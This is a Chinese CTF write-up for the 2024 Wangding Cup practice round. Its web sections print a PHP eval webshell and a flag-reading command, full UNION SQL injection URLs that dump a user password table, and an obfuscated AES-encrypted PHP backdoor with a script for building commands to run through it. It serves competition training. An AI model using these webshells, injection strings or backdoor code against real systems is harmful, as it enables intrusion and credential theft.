2024网鼎杯赛前模拟训练WP(仅供参考)

admin 2024年10月27日22:01:34评论33 views字数 4782阅读15分56秒阅读模式

2024网鼎杯赛前模拟训练WP(仅供参考)

模拟训练前10名

2024网鼎杯赛前模拟训练WP(仅供参考)

2024网鼎杯赛前模拟训练WP(仅供参考)

本文字数:1947|预计3分钟读完

2024“网鼎杯”赛前模拟训练赛已经结束,有不少得了满分的,总共9题满分2490。

号主做了部分题感觉总体难度还是有的,不过感觉正赛的难度应该会比模拟训练赛难度要大,毕竟是全国性的线上大赛,打穿题库可不好啊。

号主结合自己做的题以及网上高手的WP总结了一份WP以供大家学习参考。

文丨hacking

0

题目类型

2024网鼎杯赛前模拟训练WP(仅供参考)

2024网鼎杯赛前模拟训练WP(仅供参考)

web 4题、pwn 1题、逆向 1题、密码学 2题、杂项 1题。

1

web-1 任意文件上传

考点:任意文件上传,执行命令,读取flag

1、上传a.php

<?php eval($_POST[A]);phpinfo()?>

2024网鼎杯赛前模拟训练WP(仅供参考)

2、传参执行命令,读取flag.txt

a=system('pwd:ls -la ..:ls -al /:cat /flag.txt');

2024网鼎杯赛前模拟训练WP(仅供参考)

2

web-2 sql手工注入

考点:需要获取最新cookie,然后手动注入,sqlmap尝试未成功

2024网鼎杯赛前模拟训练WP(仅供参考)

手工注入过程

1、查库

http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(schema_name)%20from%20information_schema.schemata),4

2024网鼎杯赛前模拟训练WP(仅供参考)

2、查表

http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x4d6f7a68655f4f4173797374656d),4

3、查字段

http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select group_concat(table_schema,'.',table_name,'.',column_name) from information_schema.columns where table_schema<>'information_schema'),4

4、查PassWord

http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(id,%27.%27,OAname,%27.%27,PassWord,%27.%27,Status)%20from%20Mozhe_OAsystem.OA_Users),4

5、登录后台

2024网鼎杯赛前模拟训练WP(仅供参考)

3

web-3 webshell连接

考点:目录扫描、webshell、代码审计

1、目录扫描

目录扫描工具dirsearch、御剑等工具扫描到备份文件夹

wwwroot.rar

解压之后发现源码,其他都是大写开头的,就一个小写开头的php

describedssTest.php 这个是入侵者上传的木马文件。

2024网鼎杯赛前模拟训练WP(仅供参考)

2.代码审计

一个加密一个解密函数

加密函数

2024网鼎杯赛前模拟训练WP(仅供参考)

解密函数

2024网鼎杯赛前模拟训练WP(仅供参考)

$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';

a8 解密后是assert

d8 解密后是 @eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}")

组合起来就是

$a8(trim(d($d8, $p8)));

这条语句就是把两者组合起来;

assert(@eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}"))

分析该语句

过第一关:

Id传入的值计算md5 要和$p8 强等,只能解密。Md5在线解密花钱解出来了。md5(md5(20241026))===$p8

所以get传参id=md5(20241026)=04c50eb4bc04c76311d03550ee2c1b71

过第二关:

Post传参,d 传入的参数先经过解密,再由eval执行

所以我们只需要将需要执行的命令先用e函数加密,再串进去就行。

e函数传入 $jm = "system('cat /flag.txt');"

//加密

$jjm = trim(e($jm,$p8));

echo $jjm;

将输入的结果传入测试就行

结果为;"TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk="

所以post 方式 d=TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=

第三步获取结果:

使用hackbar

id=04c50eb4bc04c76311d03550ee2c1b71

d=TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=

得到回显

TURNeU9UWTBOelUwTmprd05UUTVORTVrYUVSMWQyWnlRbnBGWTJac1lqaHNjRnAyTUVsVGFIaHlSSHBOVDFGRFptNXJTR000VHk5d1NVeElNMFpyWTFwRVRqaFFjSEU1YlVOalpuQm5jM0U9

第四步解密:

使用解密函数解密:wdflag{2fy5q80e1vt5wcr9y3qpg3rt6vvx48vb}

附件:

Pyload.php

<?phperror_reporting(0);header('Content-type: text/html; charset=utf-8');$p8 = '3b7430adaed18facca7b799229138b7b';$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';$d8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';$v8 = '0329647546905494';$jm = "system('cat /flag.txt');";$putinto = "TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=";$resp = "TURNeU9UWTBOelUwTmprd05UUTVORTVrYUVSMWQyWnlRbnBGWTJac1lqaHNjRnAyTUVsVGFIaHlSSHBOVDFGRFptNXJTR000VHk5d1NVeElNMFpyWTFwRVRqaFFjSEU1YlVOalpuQm5jM0U9";function e($D, $K) {$cipher = 'aes-128-cbc';$encrypted = openssl_encrypt($D, $cipher, $K, 0, $GLOBALS['v8']);$result = base64_encode($GLOBALS['v8'].$encrypted);$result = base64_encode($result);return $result;}function d($D, $K) {$cipher = 'aes-128-cbc';$decodedData = base64_decode(base64_decode($D));$encryptedData = substr($decodedData, openssl_cipher_iv_length($cipher));$decrypted = openssl_decrypt($encryptedData, $cipher, $K, 0, $GLOBALS['v8']);return $decrypted;}//解密//$dfd= trim(d($d8, $p8));//echo $dfd;//解密回显$dfd= trim(d($resp, $p8));echo $dfd;echo "<br>";//加密$jjm = trim(e($jm,$p8));echo $jjm;//echo ($jjm==$a8);//ob_start();//assert(@eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}"));////assert(@eval($p));//$O = ob_get_contents();//ob_end_clean();//echo $O;?>

法二:

网上大佬总结

这是一个后门php,只要提供正确的参数,就可以远程执行命令。简单反混淆一下代码,知道它会做一些加密和base64:

2024网鼎杯赛前模拟训练WP(仅供参考)

GET 参数提供正确的 id,和 POST 请求中提供加密的命令,以 d 为参数。这里我们可以写一个脚本模拟这个加密过程来生成我们想执行的命令:

2024网鼎杯赛前模拟训练WP(仅供参考)

Key 的哈希解出来,然后提供给 GET 参数,POST 则是生成的 payload,我们会得到一个长的响应,和默认时的响应是不一样的:

2024网鼎杯赛前模拟训练WP(仅供参考)

响应 base64 两次解码之后,会得到 iv+加密响应内容 的组合,这里我们可以写一个脚本来解密响应的内容:

2024网鼎杯赛前模拟训练WP(仅供参考)

解密出来之后,可以验证我们的命令执行成功了:

2024网鼎杯赛前模拟训练WP(仅供参考)

然后就简单了,遍历一下目录,读flag。先查看根目录:

2024网鼎杯赛前模拟训练WP(仅供参考)

直接读 flag:

2024网鼎杯赛前模拟训练WP(仅供参考)

4

pwn

考点:整数溢出

2024网鼎杯赛前模拟训练WP(仅供参考)

某个数乘以2等于-100,这个数又必须是正数,使用整数溢出

2024网鼎杯赛前模拟训练WP(仅供参考)

5

逆向

考点:

Java逆向、反编译

源代码里直接可以找到flag

比较简单

2024网鼎杯赛前模拟训练WP(仅供参考)

按顺序读出flag

6

密码学Crypto-1

栅栏密码

2024网鼎杯赛前模拟训练WP(仅供参考)

7

密码学Crypto-2

考点:

winhex+base64

2024网鼎杯赛前模拟训练WP(仅供参考)

2024网鼎杯赛前模拟训练WP(仅供参考)

8

杂项MISC

考点:

webaccesslog日志分析

2024网鼎杯赛前模拟训练WP(仅供参考)

感谢大佬WP,有一题web未搜集到wp

下周 全国初赛见,祝大家取得好成绩。

2024网鼎杯赛前模拟训练WP(仅供参考)

原文始发于微信公众号(Hacking黑白红):2024“网鼎杯”赛前模拟训练WP(仅供参考)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月27日22:01:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024网鼎杯赛前模拟训练WP(仅供参考)http://cn-sec.com/archives/3320900.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息